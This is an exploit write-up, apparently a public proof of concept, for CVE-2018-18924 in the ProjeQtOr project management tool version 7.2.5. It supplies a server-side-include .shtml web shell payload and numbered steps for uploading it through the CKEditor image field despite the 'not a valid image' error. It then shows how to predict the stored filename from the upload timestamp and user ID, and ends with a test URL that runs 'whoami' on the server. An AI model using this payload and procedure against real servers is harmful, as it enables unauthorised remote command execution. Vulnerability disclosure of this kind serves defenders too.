# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.projeqtor.org
# Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV7.2.5.zip/download
# Version: v7.2.5
# Category: Webapps
# Tested on: XAMPP for Linux 7.2.8-0
# CVE: CVE-2018-18924
# Description : ProjeQtOr PMT 7.2.5 and lower versions allows to upload arbitrary "shtml" files which
# leads to a remote command execution on the remote server.

# 1) Create a file with the below HTML code and save it as .shtml

<html>
<script>
function fex()
{
document.location.href="<!--#echo var=DOCUMENT_NAME
-->?"+document.getElementById('komut').value;
}
</script>
<!--#exec cmd=$output -->
</html>

# 2) Login to ProjeQtOr portal as priviliage user
# 3) You can perform this operation in the ckeditor fields.
# 4) Click (Image) button on Content panel.
# 5) Chose Upload section and browse your .shtml file.
# 6) Click "Send it to Server". Script will give you "This file is not a valid image." error.
# But it will send the file to the server. Just we need to find the file.
# 7) We can read how the uploaded files are named in the
# "/tool/uploadImage.php" file.(line 90)

<?php
$fileName=date('YmdHis').'_'.getSessionUser()->id.'_'.$uploadedFile['name'];
?>

# 8) The name of our file should be;

Y = Years, numeric, at least 2 digits with leading 0
m = Months, numeric
d = Days, numeric
H = Hours, numeric, at least 2 digits with leading 0
i = Minutes, numeric
s = Seconds, numeric

# We must save the date and time of the upload moment.

Formula : Y+m+d+H+i+s+_+UserID+_+filename = uploaded file name

# For Example; If you uploaded a file called "RCE.shtml" on 2018.10.23 at 01:02:30
# the file name will be "20181023010230_1_RCE.shtml"

# 9) Finaly all uploaded images are sent under the "/files/images/" folder.
# 10) Verift the exploit: http://domain/files/images/20181023010230_1_RCE.shtml?whoami
